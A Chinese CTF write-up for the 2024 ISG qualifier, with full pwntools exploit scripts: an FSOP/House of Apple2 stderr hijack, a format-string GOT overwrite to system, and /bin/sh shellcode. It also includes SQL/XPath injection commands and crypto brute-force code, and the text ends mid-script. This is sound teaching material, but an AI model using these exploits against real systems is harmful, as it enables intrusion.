由上海市委网信办指导开展的2024年ISG网络安全技能竞赛“观安杯”于9月19日举办,初赛共10题。奇点安全实验室在完赛后对所有题目进行了复盘,并通过本文分享本次大赛全部题目的Writeup。
题目附件下载:https://github.com/raddyfiy/CTF_Archives/tree/main/2024isg%E8%A7%82%E5%AE%89%E6%9D%AF
WEB
web_emm
emlog pro 2.3.0 和 pro 2.3.2 中的 admin/views/plugin.php 中存在任意文件上传漏洞,远程攻击者可利用该漏洞提交上传恶意文件的特殊请求以执行任意代码。
web_hotel
git源码泄露,使用git工具git_extract.py还原各个版本的代码.https://github.com/gakki429/Git_Extract
找到用户名密码登录,该系统存在Nday,使用xray探测发现存在sql注入。
sqlmap一把梭:
web_bookstore
xpath注入,题目源码参考:https://github.com/orf/xcat_app
所以用xcat run一把梭:
xcat run http://isq.idss-cn.com:23869/api/1/search keywordskeywords=Catching --true-string=Suzanne
(感谢wangqiusheng大佬分享截图与思路)
ZmxhZ3tWSFlPeEZ3Z2poSXY1ZlcwRTR0Um95NzFVdTZjM21sZH0? flag{VHYOxFwgjhIv5fW0E4tRoy71Uu6c3mld}
PWN
pwn_iofile
考点:stdin任意地址写+FSOP+House of apple2
程序会泄露libc地址,且有一个任意地址写:
所以思路只有一个:打FILE,实现一个任意地址写任意内容。
这个技巧也是一个定势,把_IO_2_1_stdin_的_IO_buf_base位的最低byte改成0,那么再次getchar等读入字符串时,就会把_IO_buf_base当作缓存区的地址写入内容。由于末尾改成了0,那么必然会从_IO_buf_base前面几个位置开始写,这样就能完整的写一个地址到_IO_buf_base。再进行第三次写入时,就可以实现一个任意地址写任意内容了。此时没有长度限制,程序是exit(0)退出,所以可以将stderr改写成一个恶意的FILE,用FSOP触发house of apple2:
from pwn import * from pwnlib.util.proc import wait_for_debugger import inspect, re # context.terminal=['tmux', 'splitw', '-h'] def ida(): wait_for_debugger(sh.pid) def gdb(): pwnlib.gdb.attach(sh) def gdbaddr(addrlist,PIE=True): for i in addr: debug_str+='b *{}\n'.format(hex(i)) pwnlib.gdb.attach(sh,debug_str) def gdbc(addr): pwnlib.gdb.attach(sh,"b *" + hex(addr) +"\n c") def dbg(arg): if isremote==1: return elif arg==1 or arg=="ida": ida() elif arg==2 or arg=="gdb": gdb() return def autoconnect(): gdbprocess=process(["gdb-multiarch",program]) gdbprocess.sendline('target remote 127.0.0.1:23946\n') gdbprocess.interactive() def make_tcache_fd(addr,value): #libc>=2.32 return ((addr>>12)^value) #tcache -> ck1 -> ck2, ck1[fd]=((&ck1[fd]>>12) xor ck2's addr def getdlresolve(writetarget,recv_addr=0): recv_addr=elf.bss() if recv_addr==0 else recv_addr elf_load_address_fixup = elf.address - elf.load_addr strtab = elf.dynamic_value_by_tag("DT_STRTAB") + elf_load_address_fixup symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + elf_load_address_fixup versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup dynamic_section_addr=elf.get_section_by_name(".dynamic").header.sh_addr+ elf_load_address_fixup lk(dynamic_section_addr);lk(jmprel);lk(symtab);lk(strtab);lk(versym) # dlresolve=p32(0)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"+padding+fakeSYM+fakeREL binsh_addr=writetarget+2*len(p32(0))+len("system\x00\x00") dlresolvePart1=p32(binsh_addr)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00" paddingnum=(0x10-((writetarget+len(dlresolvePart1)-symtab)%0x10))%0x10 r_info_num=(writetarget+len(dlresolvePart1)+paddingnum-symtab)//0x10#offset num for i in range(10000): importCheckPoint=versym+r_info_num*2 lk(importCheckPoint) importCheckPointVelue=elf.read(versym+r_info_num*2, 2) if importCheckPointVelue[1:]!="\x00": #can't use paddingnum+=0x10 r_info_num+=1#offset num else: break dlresolvePart1+="p"*paddingnum r_info=(r_info_num<<8)+7 lk(r_info) str_offset=writetarget+2*len(p32(0))-strtab fakeSYM=p32(str_offset)+p32(0)+p32(0)+p32(0x12) fakeSYM_addr=writetarget+len(dlresolvePart1) fakeREL=p32(recv_addr)+p32(r_info) fakeREL_addr=writetarget+len(dlresolvePart1)+len(fakeSYM) dlresolve=dlresolvePart1+fakeSYM+fakeREL reloc_index=writetarget+len(dlresolvePart1+fakeSYM)-jmprel lk(fakeREL_addr);lk(fakeSYM_addr);lk(reloc_index);lk(writetarget) return dlresolve,reloc_index #call: dlresolve,reloc_index=getdlresolve(bssbuf+0x300+4) def getarch(program): fileinfo=re.findall(program+r'([\s\S]*)version',os.popen("file "+program).read())[0] print(fileinfo) if 'aarch64' in fileinfo: context.update(arch='aarch64', bits=64, endian='little') if 'x86-64' in fileinfo: context.update(arch='amd64', bits=64, endian='little') if '80386' in fileinfo: context.update(arch='i386', bits=32, endian='little') if 'ARM' in fileinfo: context.update(arch='arm', bits=32, endian='little') if 'MIPS32' in fileinfo: context.update(arch='mips', bits=32, endian='little') return 1 #----------------------------------------------------------------------------------------- s = lambda data :sh.send(str(data)) #in case that data is an int sa = lambda delim,data :sh.sendafter(str(delim), str(data)) sl = lambda data :sh.sendline(str(data)) sla = lambda delim,data :sh.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :sh.read(numb) ru = lambda delims, drop=True :sh.readuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) def lk(a): #print leak value for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]: m = re.search(r'lk\s*', line) if m: print("!!"+m.group(1)+'========>'+hex(a)) sh_x86_22=asm(''' xor ecx,ecx;xor edx,edx; push 0x0B;pop eax; push ecx; push 0x68732F2F #hs//, this str must end with 0x00 push 0x6E69622F; #nib/ mov ebx, esp; int 0x80''', arch = 'i386', os = 'linux')#if we can use 0x00 in payload, we can delete push ecx;#(ebx save arg0) sh_x64_20=asm(''' xor esi, esi; mov rdi, 0x68732F6E69622F; push rdi; push rsp; pop rdi; mov al, 0x3B; cdq; syscall ''', arch = 'amd64', os = 'linux')#notice 0x00 break #maybe change: mov al->eax, delete xor esi #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- def choose(index): sla("choose",str(index)) def add(size,text): choose(1) sla("Size",str(size)) sla("content",text) # sla("Index",index) def delete(index): choose(3) sla("Index",str(index)) def show(index): choose(4) sla("Index",str(index)) # sla("size",size) # sa("Content",text) def edit(index,text): choose(2) sla("Index",str(index)) # sla("Size",str(size)) sla("Content",text) def exp(): sla("# ","1") ru("Gift 1: ") libc_base=int(sh.read(14),16)-libc.sym["printf"] lk(libc_base) # gdb() _IO_2_1_stdin_= libc_base+libc.sym["_IO_2_1_stdin_"] system= libc_base+libc.sym["system"] _IO_2_1_stderr_= libc_base+libc.sym["_IO_2_1_stderr_"] _IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"] bufbase=_IO_2_1_stdin_+48+8 one_gadget=libc_base+one_gadgetlist[1] sl("2") # ida() sla("ID:",hex(bufbase)[2:]) s('\x00'*24+p64(_IO_2_1_stderr_)+p64(_IO_2_1_stderr_+0x348)) # sleep(1) # fake_wide_data_addr=_IO_2_1_stderr_+0xe0 fake_IO_FILE =" /bin/sh\x00aaaaaa" fake_IO_FILE += 2*p64(0) #we write in ck+0x10,but if largebin attack as ck head, change 4 to 2 fake_IO_FILE += p64(0) # _IO_write_base = 0 fake_IO_FILE += p64(2) # _IO_write_ptr = 0xffffffffffffffff,_IO_write_ptr >_IO_write_base fake_IO_FILE += p64(0) # _IO_write_end fake_IO_FILE += p64(0) # _IO_buf_base fake_IO_FILE += p64(0) # _IO_buf_end fake_IO_FILE += p64(0)*4 fake_IO_FILE += p64(0) # _chain fake_IO_FILE += p64(0)*3 fake_IO_FILE += p64(_IO_2_1_stdin_-8) # _lock = writable address fake_IO_FILE += p64(0)*2 fake_IO_FILE += p64(fake_wide_data_addr) #fake_wide_data_addr =fake_wide_data_addr fake_IO_FILE += p64(0)*3 fake_IO_FILE += p64(0) # [mode] fake_IO_FILE += p64(0)+p64(0) fake_IO_FILE += p64(_IO_wfile_jumps)# vtable fake_wide_vtable_addr=_IO_2_1_stderr_+0xe0+8*29 fake_wide_data=p64(0)*28+p64(fake_wide_vtable_addr) fake_wide_vtable=p64(0)*13+p64(system) # <-------------------------------change to your func payload=fake_IO_FILE+fake_wide_data+fake_wide_vtable print(len(payload)) sl(payload) program = './iofile' if __name__ == '__main__': remoteurl="isg.idss-cn.com:22761" #ip:port args1='' libcindex=0 # -1 is local libc isremote=1 # 0 is local process, 1 is remote ASLR=True #False: close ASLR; True: open ASLR gdbdebug=0 supasswd='1' locallibc="/lib/x86_64-linux-gnu/"+re.findall(r'libc-[\d.]*so|libc.so.6',os.popen("ls /lib/x86_64-linux-gnu/").read())[0] libclist=["./libc.so.6","./buu32-libc2.23.so","./buu64-libc2.27.so","./buu32-libc2.27.so",locallibc] libcpath=libclist[libcindex] context.log_level = 'debug' #-------------------------------------------- _IO_2_1_stdout_='' context.os='linux' getarch(program) if context.arch!='mips': elf = ELF(program) libc = ELF(libcpath) binsh_offset = libc.search("/bin/sh").next() libc.sym["main_arena"]=libc.sym["__malloc_hook"]+(0x18 if context.arch=='i386' else 0x10) #64bit_unsortbin: fd=main arena+88(0x58), main_arena-0X10=__malloc_hook #32bit_unsortbin: fd=main_arena+48(0x30), main_arena-0x18=__malloc_hook #64bit_largebin: fd=main arena+0x490, main_arena-0X10=__malloc_hook getgadget=os.popen("one_gadget "+libcpath).read().split("\n\n") getgadgetA=os.popen("one_gadget "+libcpath+" --level 3").read().split("\n\n") result = '\n\n'.join(getgadget+[item for item in getgadgetA if item not in getgadget]) print(result) one_gadgetlist=[int(li.split(" ")[0],16) for li in getgadget+[item for item in getgadgetA if item not in getgadget]] if (os.popen("cat /proc/sys/kernel/randomize_va_space").read()[0]!='0') != ASLR: os.system("echo {0}|sudo -S sysctl -w kernel.randomize_va_space={1}".format(supasswd,['2' if ASLR else '0'][0])) os.system("chmod 777 ./*") bugstr="" if gdbdebug: bugstr=" -g 23946 " os.system('''echo {0}|sudo -S kill -9 `lsof -i:23946|awk 'NR==2'|awk '{{print $2}}'`'''.format(supasswd)) while True: if isremote==0: #context.arch=='amd64' or context.arch=='i386': sh = process(argv=[program,args1],env={"LD_PRELOAD":libcpath})#argv=[program,args1,args2,...] #context.arch=='aarch64': #sh = process("qemu-aarch64-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch=='arm': #sh = process("qemu-arm-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch=="mips" and context.endian=='little': #sh = process("qemu-mipsel-static -L ./mipsel-linux-uclibc {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch==qemu-riscv64: #sh = process("qemu-riscv64-static -L ./libs {0} {1} ".format(bugstr,program), shell=True) if gdbdebug: thiscriptname=sys.argv[0].split("/")[-1].split(".py")[0] subprocess.Popen(r'''gnome-terminal -- bash -c "python2 -c 'import {0};{0}.autoconnect()'; read -sn 1"'''.format(thiscriptname),shell=True) else: port=re.findall(r'([0-9]*)',remoteurl.split(':')[-1])[0] url=remoteurl.split(":"+str(port))[0] sh=remote(url,port) ret=exp() if ret: sh.close() continue break sh.interactive() #fmtst=fmtstr_payload(offset, {addr1:value1,addr2:value2}, numbwritten=aleayoutputlen, write_size='byte') #offset: input AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p.and watch output, "AAAA" in which index(count from 1) #write_size:[byte/short/int] payload is hhn,hn,n ; numbwritten default = 0, write_size defalut =byte #-------------------help----remember--------------------------------- #environ=libc_base+libc.sym["__environ"] #fakechunk_start=malloc_hook-0x23 #size =0x70(0x7f) #fakeFILE=p64(0xfbad9800)+p64(0)+p64(0)+p64(0)+'\x88' , libc_base=uu64(r(6))-libc.sym['_IO_2_1_stdin_'] #_IO_2_1_stdout_= p & _IO_2_1_stdout_ # stdout_fakeck_start=_IO_2_1_stdout_ -0x43 #__pointer_chk_guard =1 #libc_base=main_arena-0x1e0-libc.sym['_IO_2_1_stdin_'] #_IO_list_all=1 # _IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps'] #fucksystem=libc_base+do_system+2 #------------------------------------------------------------------------- #if you want to burp, add below to exp(): ''' try: add(0x48) #contain func who maybe wrong print ru("successstr") #you should pick a success str to judge sl('ls /') print "okk---"+sh.readuntil("bin") #or,we can use this twice or more to judge whether get shell. except: return 2 '''
pwn_reject_dollar
格式化字符串漏洞,漏洞点在:
虽然程序会先对输入进行ASCII码的冒泡排序,但遇到回车截止,所以输入可以用一个\n隔离开,1\npayload,保证后面的顺序不变:
所以攻击思路: 用两次格式化字符串漏洞,第一次用一堆%p泄露libc,第二次用无$符号的payload做一次任意地址写,改puts的got为system即可。(改完后puts的内容会报错,但不影响后续利用)
from pwn import * from pwnlib.util.proc import wait_for_debugger import inspect, re # context.terminal=['tmux', 'splitw', '-h'] def ida(): wait_for_debugger(sh.pid) def gdb(): pwnlib.gdb.attach(sh) def gdbaddr(addrlist,PIE=True): for i in addr: debug_str+='b *{}\n'.format(hex(i)) pwnlib.gdb.attach(sh,debug_str) def gdbc(addr): pwnlib.gdb.attach(sh,"b *" + hex(addr) +"\n c") def dbg(arg): if isremote==1: return elif arg==1 or arg=="ida": ida() elif arg==2 or arg=="gdb": gdb() return def autoconnect(): gdbprocess=process(["gdb-multiarch",program]) gdbprocess.sendline('target remote 127.0.0.1:23946\n') gdbprocess.interactive() def make_tcache_fd(addr,value): #libc>=2.32 return ((addr>>12)^value) #tcache -> ck1 -> ck2, ck1[fd]=((&ck1[fd]>>12) xor ck2's addr def getdlresolve(writetarget,recv_addr=0): recv_addr=elf.bss() if recv_addr==0 else recv_addr elf_load_address_fixup = elf.address - elf.load_addr strtab = elf.dynamic_value_by_tag("DT_STRTAB") + elf_load_address_fixup symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + elf_load_address_fixup versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup dynamic_section_addr=elf.get_section_by_name(".dynamic").header.sh_addr+ elf_load_address_fixup lk(dynamic_section_addr);lk(jmprel);lk(symtab);lk(strtab);lk(versym) # dlresolve=p32(0)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00"+padding+fakeSYM+fakeREL binsh_addr=writetarget+2*len(p32(0))+len("system\x00\x00") dlresolvePart1=p32(binsh_addr)+p32(binsh_addr)+"system\x00\x00"+"/bin/sh\x00" paddingnum=(0x10-((writetarget+len(dlresolvePart1)-symtab)%0x10))%0x10 r_info_num=(writetarget+len(dlresolvePart1)+paddingnum-symtab)//0x10#offset num for i in range(10000): importCheckPoint=versym+r_info_num*2 lk(importCheckPoint) importCheckPointVelue=elf.read(versym+r_info_num*2, 2) if importCheckPointVelue[1:]!="\x00": #can't use paddingnum+=0x10 r_info_num+=1#offset num else: break dlresolvePart1+="p"*paddingnum r_info=(r_info_num<<8)+7 lk(r_info) str_offset=writetarget+2*len(p32(0))-strtab fakeSYM=p32(str_offset)+p32(0)+p32(0)+p32(0x12) fakeSYM_addr=writetarget+len(dlresolvePart1) fakeREL=p32(recv_addr)+p32(r_info) fakeREL_addr=writetarget+len(dlresolvePart1)+len(fakeSYM) dlresolve=dlresolvePart1+fakeSYM+fakeREL reloc_index=writetarget+len(dlresolvePart1+fakeSYM)-jmprel lk(fakeREL_addr);lk(fakeSYM_addr);lk(reloc_index);lk(writetarget) return dlresolve,reloc_index #call: dlresolve,reloc_index=getdlresolve(bssbuf+0x300+4) #----------------------------------------------------------------------------------------- s = lambda data :sh.send(str(data)) #in case that data is an int sa = lambda delim,data :sh.sendafter(str(delim), str(data)) sl = lambda data :sh.sendline(str(data)) sla = lambda delim,data :sh.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :sh.read(numb) ru = lambda delims, drop=True :sh.readuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) def lk(a): #print leak value for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]: m = re.search(r'lk\s*', line) if m: print("!!"+m.group(1)+'========>'+hex(a)) sh_x86_22=asm(''' xor ecx,ecx;xor edx,edx; push 0x0B;pop eax; push ecx; push 0x68732F2F #hs//, this str must end with 0x00 push 0x6E69622F; #nib/ mov ebx, esp; int 0x80''', arch = 'i386', os = 'linux')#if we can use 0x00 in payload, we can delete push ecx;#(ebx save arg0) sh_x64_20=asm(''' xor esi, esi; mov rdi, 0x68732F6E69622F; push rdi; push rsp; pop rdi; mov al, 0x3B; cdq; syscall ''', arch = 'amd64', os = 'linux')#notice 0x00 break #maybe change: mov al->eax, delete xor esi # shellcode_mipsel32little_0x20 = asm(''' # xor a1,a1 # xor a2,a2 # b exec # addiu a0,ra, 16 # .string "/bin/sh" # exec: # li $v0, 0xFAB # syscall''',arch='mips', bits=32, endian='little') #shellcode = asm(shellcraft.mips.linux.sh(),arch='mips') #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- def choose(index): sla("choice > ",str(index)) def add(text): choose(1) sla("message > ",text) # sla("Index",index) def delete(index): choose(3) sla("Index",str(index)) def show(): choose(2) def edit(index,text): choose(2) sla("Index",str(index)) # sla("Size",str(size)) sla("Content",text) def exp(): # ida() print_got=elf.got["printf"] payload="1\n%p%p%p"+"%p%p%p%p"+"%p%p%p%p"+"%p%p--%s"+"%p%p%p%p"+"%p%p%p%p"+p64(print_got) add(payload) show() ru("--") libc_base=uu64(r(6))-libc.sym["printf"] lk(libc_base) one_gadget=libc_base+one_gadgetlist[1] puts_got=elf.got["puts"] system=libc_base+libc.sym["system"] fmtstr= "1111111\n"+fmtstr_payload(9, {puts_got:system}, numbwritten=8, write_size='byte',no_dollars=True) print(fmtstr) add(fmtstr) show() choose(1) sl("/bin/sh\x00") choose(3) program = './pwn' if __name__ == '__main__': remoteurl="isg.idss-cn.com:xxx" #ip:port args1='' libcindex=0 # -1 is local libc isremote=1 # 0 is local process, 1 is remote ASLR=True #False: close ASLR; True: open ASLR gdbdebug=0 supasswd='1' locallibc="/lib/x86_64-linux-gnu/"+re.findall(r'libc-[\d.]*so|libc.so.6',os.popen("ls /lib/x86_64-linux-gnu/").read())[0] libclist=["./libc.so.6","./buu32-libc2.23.so","./buu64-libc2.27.so","./buu32-libc2.27.so",locallibc] libcpath=libclist[libcindex] context.log_level = 'debug' #-------------------------------------------- _IO_2_1_stdout_='' context.os='linux' context.update(arch='amd64', bits=64, endian='little') if context.arch!='mips': elf = ELF(program) libc = ELF(libcpath) binsh_offset = libc.search("/bin/sh").next() libc.sym["main_arena"]=libc.sym["__malloc_hook"]+(0x18 if context.arch=='i386' else 0x10) #64bit_unsortbin: fd=main arena+88(0x58), main_arena-0X10=__malloc_hook #32bit_unsortbin: fd=main_arena+48(0x30), main_arena-0x18=__malloc_hook #64bit_largebin: fd=main arena+0x490, main_arena-0X10=__malloc_hook getgadget=os.popen("one_gadget "+libcpath).read().split("\n\n") getgadgetA=os.popen("one_gadget "+libcpath+" --level 3").read().split("\n\n") result = '\n\n'.join(getgadget+[item for item in getgadgetA if item not in getgadget]) print(result) one_gadgetlist=[int(li.split(" ")[0],16) for li in getgadget+[item for item in getgadgetA if item not in getgadget]] if (os.popen("cat /proc/sys/kernel/randomize_va_space").read()[0]!='0') != ASLR: os.system("echo {0}|sudo -S sysctl -w kernel.randomize_va_space={1}".format(supasswd,['2' if ASLR else '0'][0])) os.system("chmod 777 ./*") bugstr="" if gdbdebug: bugstr=" -g 23946 " os.system('''echo {0}|sudo -S kill -9 `lsof -i:23946|awk 'NR==2'|awk '{{print $2}}'`'''.format(supasswd)) while True: if isremote==0: #context.arch=='amd64' or context.arch=='i386': sh = process(argv=[program,args1],env={"LD_PRELOAD":libcpath})#argv=[program,args1,args2,...] #context.arch=='aarch64': #sh = process("qemu-aarch64-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch=='arm': #sh = process("qemu-arm-static -L ./aarch64-linux-gnu {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch=="mips" and context.endian=='little': #sh = process("qemu-mipsel-static -L ./mipsel-linux-uclibc {0} {1} ".format(bugstr,program), shell=True)#argv=[program,args1,args2,...] #context.arch==qemu-riscv64: #sh = process("qemu-riscv64-static -L ./libs {0} {1} ".format(bugstr,program), shell=True) if gdbdebug: thiscriptname=sys.argv[0].split("/")[-1].split(".py")[0] subprocess.Popen(r'''gnome-terminal -- bash -c "python2 -c 'import {0};{0}.autoconnect()'; read -sn 1"'''.format(thiscriptname),shell=True) else: port=re.findall(r'([0-9]*)',remoteurl.split(':')[-1])[0] url=remoteurl.split(":"+str(port))[0] sh=remote(url,port) ret=exp() if ret: sh.close() continue break sh.interactive() #fmtst=fmtstr_payload(offset, {addr1:value1,addr2:value2}, numbwritten=aleayoutputlen, write_size='byte') #offset: input AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p.and watch output, "AAAA" in which index(count from 1) #write_size:[byte/short/int] payload is hhn,hn,n ; numbwritten default = 0, write_size defalut =byte #-------------------help----remember--------------------------------- #environ=libc_base+libc.sym["__environ"] #fakechunk_start=malloc_hook-0x23 #size =0x70(0x7f) #fakeFILE=p64(0xfbad9800)+p64(0)+p64(0)+p64(0)+'\x88' , libc_base=uu64(r(6))-libc.sym['_IO_2_1_stdin_'] #_IO_2_1_stdout_= p & _IO_2_1_stdout_ # stdout_fakeck_start=_IO_2_1_stdout_ -0x43 #__pointer_chk_guard =1 #libc_base=main_arena-0x1e0-libc.sym['_IO_2_1_stdin_'] #_IO_list_all=1 # _IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps'] #fucksystem=libc_base+do_system+2 #------------------------------------------------------------------------- #if you want to burp, add below to exp(): ''' try: add(0x48) #contain func who maybe wrong print ru("successstr") #you should pick a success str to judge sl('ls /') print "okk---"+sh.readuntil("bin") #or,we can use this twice or more to judge whether get shell. except: return 2 '''
Reverse
shell
程序需要在ubuntu21.10运行,是魔改的upx壳,而且还是带反调试的,直接脱壳太麻烦。
但通过输入ISG,发现加密后的前三位与题目给的文档前三位一样,所以猜测当前n位输入正确时,结果的前n位会与题目给的一样。
所以写脚本爆破:
from pwn import * context.log_level = 'debug' import json target=[227, 83, 162, 17, 197, 102, 127, 119, 94, 208, 82, 187, 221, 191, 112, 186, 0, 170, 191, 44, 233, 242, 209, 114, 70, 116, 203, 80, 72, 65, 254, 111, 119, 146, 95, 180, 182, 77, 140, 110, 204, 249, 76, 34, 229, 39, 30, 12, 248, 89, 158, 103, 170] flag="" sh=process("./encsh") sh.sendlineafter(">","key") sh.sendline("mykeymykeyhackergoawayyourkeyyou") sh.read() for i in range(len(target)): for onechar in range(20,128): sh.sendlineafter(">","enc") sh.sendline(flag+chr(onechar)) print(sh.read()) resstr=sh.readuntil("\n") print(resstr) reslist=json.loads(resstr) if target[i]==reslist[i]: flag+=chr(onechar) print(flag) break print(flag) sh.interactive() #ISG{ThIsisMYuPx_notYOuR5_Gg_hjD95wk1}
MISC
vyper-deploy
区块链题目,程序的合约代码在vyper_hacker.vy:
#pragma version ==0.3.7 is_solved: public(bool) @internal @pure def cmp(a:uint256 = 0, b:uint256 = max_value(uint256)) -> bool: return a > b @external def compare(i: uint256): if self.cmp(i): self.is_solved = True
题目输入一个i,会传入cmp的a,默认b=uint256的最大值,即2^256-1。需要使得输入的a大于b。
1.环境搭建
本地启动题目的docker,选1生成一个区块链,拿到了这些信息:
然后用浏览器metamask插件连接rpc:
然后导入私钥:
然后打开remix,连接matamask:
接下来对接题目给的区块。因为在remix里使用给定的区块链需要一个abi文件,这个文件只能通过源代码生成。用在线编译器编译:https://etherscan.io/vyper
编译获得ABI:
[{"stateMutability": "nonpayable", "type": "function", "name": "compare", "inputs": [{"name": "i", "type": "uint256"}], "outputs": []}, {"stateMutability": "view", "type": "function", "name": "is_solved", "inputs": [], "outputs": [{"name": "", "type": "bool"}]}]
然后把内容粘贴到一个新文件里,abi后缀:
使abi文件保持打开状态,来到部署页面,输入题目给定的合约地址:
然后就能看到合约了。随便输一个数字,点compare,is_solved就变成true了:
此时重新连题目功能,输入3,就能获取flag:
漏洞原理是:https://github.com/vyperlang/vyper/security/advisories/GHSA-ph9x-4vc9-m39g
vyper0.3.7有一个bug,传参是会把第一个参数挤到第二个参数的位置。
所以b看似是最大值,但实际值为0:
如果把a默认改成333,那么333也会被挤到b里。
office
在详情里看到一串:SSN6aVR4bnh2YmcjR0M5
base64解密:I#ziTxnxvbg#GC9 这就是打开密码。打开后将密码删掉:
后缀改成zip,解压,发现有vps文件:
下载OfficeMalScanner:
https://github.com/fboldewin/reconstructer.org/blob/master/OfficeMalScanner.zip
可以看到分离出了一个Sheet1文件,内容是一个脚本:
Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Function Check(user_enc) Encrypted = "184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31," If (user_enc <> Encrypted) Then Check = False Else Check = True End If End Function Private Sub Worksheet_Change(ByVal Target As Range) If Not Intersect(Target, Me.Range("B2")) Is Nothing Then If Check(crypto(Target.Value)) Then Me.Range("C2").Value = "success" Me.Range("C2").Interior.Color = RGB(232, 245, 233) Else Me.Range("C2").Value = "fail" Me.Range("C2").Interior.Color = RGB(251, 233, 231) End If End If End Sub Function crypto(sMessage) Dim kLen, x, y, i, j, temp Dim s(256) For i = 0 To 255 s(i) = i Next j = 0 For i = 0 To 255 j = (j + s(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp Next x = 0 y = 0 For i = 1 To Len(sMessage) x = (x + 1) Mod 256 y = (y + s(x)) Mod 256 temp = s(x) s(x) = s(y) s(y) = temp crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & "," Next End Function
程序就是生成一个数组s,然后逐位与输入异或,需要结果与目标数组一致。所以解密脚本:
target=[184,116,232,38,216,127,29,89,225,84,108,82,8,0,161,49,232,127,45,252,147,140,185,210,26,107,123,2,82,189,0,167,205,130,94,54,94,242,138,139,102,79,250,139,9,142,17,42,198,113,246,6,142,31] # target=target[::-1] s=[] for i in range(0,256): print(s.append(i)) j=0 for i in range(0,256): j=(j+s[i])%256 tmp=s[i] s[i]=s[j] s[j]=tmp print(s) x=0 y=0 res=0 res2='' print(s) for i in range(0,len(target)): x=(x+1)%256 y=(y+s[x])%256 tmp=s[x] s[x]=s[y] s[y]=tmp res=(s[(s[x] + s[y])%256])^target[i] print(hex(res)) res2+=chr(res) print(res2) #flag{H@ckRr5_n3\/eR_c@RE_@60u+_9eN+13m3N'5_@9r33MEn+5}
misc_see_it
binwalk一把梭,提取出一个密码文件
用steghide可以分离一张图片:
steghide extract -sf /mnt/c/2024ISG/seeit/challenge.wav
最后用stegsolve提取lsb即可:
flag{m4k3_u53_0f_0p3n _50urc3_t00l5}
Crypto
tourist
程序的功能是,用户输入多组username和key,username必须是一个字符+tourlist,用key对username做RSA加密,并保存key的md5。
程序还提供了一个解密功能,用户提供解密key,需要解密key的md5与原来的一样,然后用key解密username,然后对解密内容做base64加密,结果包含"FLAG"就会打印flag。
思路是:
1.寻找两个不同的字符串,当作KeyA、KeyB,并保证md5(A)==md5(B)。例如:
KeyA=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
KeyB=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
2.输入符合要求的username和key:
username=tourist1,key=KeyA
3.用keyB进行解密,此时能通过md5校验,由于解密的key不是KeyA,所以解密出来的是一个新的无意义字节串。只要新的字节串的base64编码包含"FLAG",就可以拿到flag。所以多次生成n进行爆破即可。
注意:输入key时需要输入hex形式,转换成hex即可
KeyA=0x54455854434f4c4c42596647694a5545544851346841634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b
KeyB=0x54455854434f4c4c42596647694a5545544851346845634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b
密文解密后字符串长度与n同数量级,大约为256字符,base64后约344个字符,其中需要有“FLAG”4个字符,粗略计算密文符合要求的概率:
所以写脚本爆破,平均爆破时间在0.5h-1h:
import multiprocessing import time import random import threading import signal import socketserver from Crypto.Util.number import * from hashlib import md5 from os import urandom import base64 import string # 全局变量,记录函数A的调用次数 call_count = multiprocessing.Value('i', 0) # 共享变量,记录调用次数 stop_flag = multiprocessing.Value('b', False) # 共享标志,用于停止其他进程 class Challenge: def __init__(self): self.p = getPrime(1024) self.q = getPrime(1024) self.n = self.p * self.q self.phi = (self.p - 1) * (self.q - 1) self.user_db = [] def save(self, username, keyint): key = long_to_bytes(keyint) key_commit = md5(key).digest() # print("save_func_keymd5:",key_commit) username_int = bytes_to_long(username) username_enc = pow(username_int, keyint, self.n) self.user_db.append((username_enc, key_commit)) def check(self, index, keyint): key = long_to_bytes(keyint) assert md5(key).digest() == self.user_db[index][1], "Invalid key" username_enc = self.user_db[index][0] d = 